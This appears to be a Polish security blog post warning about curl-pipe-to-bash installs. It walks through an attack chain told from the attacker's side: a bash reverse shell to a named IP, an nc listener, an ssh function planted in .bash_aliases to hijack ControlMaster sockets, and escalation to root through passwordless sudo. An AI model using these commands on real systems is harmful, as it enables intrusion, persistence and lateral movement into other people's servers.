I

nternet przyzwyczaja nas do wielu nowych rzeczy. To, co jest w nim opublikowane przyjmujemy czasem za pewnik, a porady za sprawdzone i uzasadnione. Niestety nie zawsze tak jest. Jeśli spojrzymy na niektóre, zalecane metody instalacji lub konfiguracji oprogramowania to aż trudno uwierzyć, że nikt nie pomyślał na ile różnych sposobów można je wykorzystać. Sprawdźmy dokąd może zaprowadzić nas na przykład polecenie:

curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -

Jeśli rozbijemy je na części możemy założyć, że atak w tym przypadku będzie ukierunkowany na rodzinę systemów *nix, o czym może świadczyć, że atakujący będzie wypatrywał wartości [curl] w polu user-agent. Istnieje możliwość przejęcia subdomeny [deb], gdyby kierowała ona na inny zewnętrzny serwis (np. Github, CDN). Jak? Gdy konto u zewnętrznego dostawcy wygasa zakłada się nowe i przekonuje, że obca subdomena jest w naszym posiadaniu. Możemy też użyć techniki typosquatting i wygenerować X wersji domen z literówkami, które ktoś może wpisać przez przypadek, jako “poprawny” adres. Pomyłki nie tylko mogą obejmować adresy URL, ale także nazwy samych pakietów lub nawet prostych archiwów. Zresztą nawet nie trzeba robić literówek. Przy odrobinie szczęścia można przejąć całą domenę .tld. Jeśli nie uda się przejąc domeny możemy próbować okłamać serwery DNS, aby finalnie tymi wszystkimi technikami przejąć host o niższym poziomie bezpieczeństwa i umieścić na nim szkodliwe oprogramowanie, aby ofiary same przyszły do wodopoju.

Wróćmy jeszcze na chwilę do programu curl. Jak wiemy, można wykryć strumieniowanie do powłoki bash niezależnie od tekstowej przeglądarki dlatego nic nie da nam ukrywanie się np. za innym user-agentem. Możemy przełączyć się na inny program np. wget, ale on też ma swoje problemy. A nawet jeśli uda nam się ściągnąć pierw skrypt na dysk, aby zobaczyć, co kryje jego wnętrze nie zawsze musi to być prawdą. Trzeba uważać nawet, co w ogóle wkleja się z Internetu do konsoli.

No i stało się nasz system został zainfekowany, a raczej wzbogacony np. o jedno polecenie uruchamiane przy starcie systemu:

bash -i >& /dev/tcp/37.187.104.217/80 0>&1 2>&1

Jest to tzw. powłoka zwrotna / odwrócona, która usuwa konieczność testowania zapór ogniowych z zewnątrz poprzez wyprowadzenie połączenia od ofiary do atakującego, czyli jak tylko się uruchomi – sama “dzwoni” do domu (37.187.104.217 – to adres IP atakującego). Powyższy przykład jest bardzo prosty, ale możemy stworzyć odpowiedniki w dowolnym języku programowania.

-
[Ofiara] ---SYN--> [Firewall] ---:80---> [Atakujący]
[Ofiara] <--bash-- [Firewall] <-SYN/ACK- [Atakujący]
-

Jeśli ofiara jest schowana za firewallem to takie połączenie jest dla niego “czyste”, ponieważ stroną rozpoczynającą komunikację jest zaufany host z wewnętrznej, chronionej sieci. Atakujący jest wpuszczany do bronionej sieci na postawie pakietów należących do nawiązanego już połączenia (ESTABLISHED, RELATED). Od strony konsoli atakującego wygląda to tak:

root@badboy:~# nc -nvl 0.0.0.0 80
Listening on [0.0.0.0] (family 0, port 80)

Connection from [92.97.20.7] port 80 [tcp/*] accepted (family 2, sport 58548)

infected:~ user$ uname -a

Linux infected desktop 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC
2016 x86_64 x86_64 x86_64 GNU/Linux

W tym właśnie momencie agresor ma odpaloną powłokę shell na naszym laptopie i jest w stanie wyprowadzić dowolną liczbę danych z naszego komputera. Ale jego akurat nie interesują dokumenty, wiadomości e-mail i inne rzeczy z tego komputera. Atak ten został ukierunkowany specjalnie w tą ofiarę, ponieważ posiada ona dostęp do serwerów firmy X, która jest obiektem jego zainteresowań. Ze względu na ograniczone okno czasowe godzin pracy – nie będziemy się bawić w przeszukiwanie .bash_history i innych potencjalnych śladów haseł i adresów – spowodujemy, że mucha sama wpadnie w sieć. Najprostszym sposobem na usunięcie konieczności autoryzacji do innych serwerów w sieci wewnętrznej jest nadpisanie ofierze polecenia ssh (w .bash_aliases / .bash_profile ) wersją, która sama otworzy nam wszystkie drzwi:

ssh ()
{
  ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%h_%p_%r" \
  -o "ControlPersist=7h" "$@";
}

Najbardziej śmieszne jest to, że prawdopodobnie większość użytkowników ma już to wbite w konfigurację SSH, ponieważ każdy w Internecie poleca to jako “akcelerator” ponownych połączeń. Jeśli ofiara jest dość aktywna zawodowo to z poziomu naszej wrogiej powłoki powinniśmy po kilku minutach zobaczyć otwarty socket do jakiegoś serwera:

infected:~ user$ cd /tmp
infected:tmp user$ ls -al
total 1
srw------- 1 user wheel 0 25 lut 22:19 secret-serwer1.lan_22_ubuntu

Sprawdzamy, czy połączenie jest aktywne:

infected:tmp user$ file secret-serwer1.lan_22_ubuntu
secret-serwer1.lan_22_ubuntu: socket
infected:tmp user$ ssh -O check -S secret-serwer1.lan_22_ubuntu %h
Master running (pid=5379)

i wykorzystujemy je do wtargnięcia na serwer:

infected:tmp user$ ssh -S secret-serwer1.lan_22_ubuntu %h

Last login: Sat Feb 25 22:10:55 2017 from 172.16.115.150
ubuntu@secret-serwer1:~$ whoami
ubuntu
ubuntu@secret-serwer1:~$ sudo su -
root@secret-serwer1:~# whoami
root
root@secret-serwer1:~# cat /etc/sudoers.d/90-cloud-init-users
ubuntu ALL=(ALL) NOPASSWD:ALL

Nie ważne, czy nasza ofiara jest nadal na serwerze, czy już się z niego wylogowała. Nie ważne, czy zrobiła to hasłem, czy kluczem stałym lub tymczasowym. SSH będzie nam umożliwiało bezkarne logowanie się do tego serwera, na którym możemy już zacząć tworzenie innego tunelu, ponieważ jak tylko nasza ofiara zamknie pokrywę laptopa połączenie z wrogą powłoką zostanie zerwane. W powyższym przykładzie uzyskaliśmy od razu prawa administratora z polecenia sudo. Jest to bardzo częste przeoczenie dla systemów w dystrybucji Ubuntu uruchomionych w środowiskach chmur obliczeniowych. Przy mniejszej ilości szczęścia pozostaje nam poszukiwanie innych luk w sudo (1, 2, 3), skryptach, dockerach, źle zestawionych sesjach screen lub błędach w kodzie.

Więcej informacji: Hijacking SSH to Inject Port Forwards, How does reverse SSH tunneling work?